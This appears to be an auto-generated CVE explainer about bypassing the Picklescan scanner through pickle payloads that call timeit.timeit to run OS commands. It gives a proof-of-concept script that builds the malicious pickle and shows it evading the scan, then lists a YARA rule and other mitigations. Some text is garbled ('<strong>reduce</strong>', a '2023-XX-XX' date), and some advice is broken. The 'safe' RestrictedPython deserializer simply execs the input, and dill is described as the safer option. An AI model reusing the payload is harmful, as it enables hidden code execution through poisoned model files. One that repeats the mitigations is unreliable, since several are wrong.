How the CVE Works
The vulnerability exploits Python’s `pickle` deserialization via the `timeit.timeit()` function, bypassing security scans like Picklescan. Attackers craft a malicious pickle payload using __reduce__, which calls `timeit.timeit()` to execute arbitrary OS commands. Since `timeit` is not blacklisted, Picklescan fails to detect the threat. When the victim deserializes the file, the embedded command (e.g., `curl` to a malicious URL) executes, leading to remote code execution (RCE). This bypass enables supply chain attacks via poisoned ML models or APIs.
DailyCVE Form
Platform: Python
Version: All (with pickle)
Vulnerability: RCE via timeit
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation
1. Craft Payload:
import pickle
import timeit
class Exploit:
def <strong>reduce</strong>(self):
return timeit.timeit, ('', 'import os; os.system("malicious_cmd")')
pickle.dump(Exploit(), open('exploit.pkl', 'wb'))
2. Evade Detection:
picklescan -p exploit.pkl Returns "Dangerous globals: 0"
3. Trigger RCE:
pickle.load(open('exploit.pkl', 'rb')) Executes embedded OS command
Protection
1. Patch Picklescan:
UNSAFE_GLOBALS = ['timeit', 'os.system', ...] Add timeit to blacklist
2. Use Safe Serialization:
import json Replace pickle with JSON for simple objects
3. Sandbox Deserialization:
from RestrictedPython import compile_restricted def safe_deserialize(data): compiled = compile_restricted(data, '<string>', 'exec') exec(compiled) Restricted execution
4. Network Hardening:
Block outbound traffic from pickle-handling services iptables -A OUTPUT -p tcp --dport 443 -j DROP
5. Detection Rule (YARA):
rule pickle_timeit_exploit {
strings:
$reduce = "<strong>reduce</strong>"
$timeit = "timeit.timeit"
condition:
all of them
}
6. Log Monitoring:
grep -r "pickle.load" /app/logs Audit deserialization calls
7. Alternative Libraries:
import dill Safer serialization with allow/deny lists dill.settings['recurse'] = False Disable risky recursion
8. Mitigation Command:
pip install picklescan --upgrade Ensure latest version scans timeit
References
References:
Reported By: https://github.com/advisories/GHSA-v7x6-rv5q-mhwc
Extra Source Hub:
Undercode
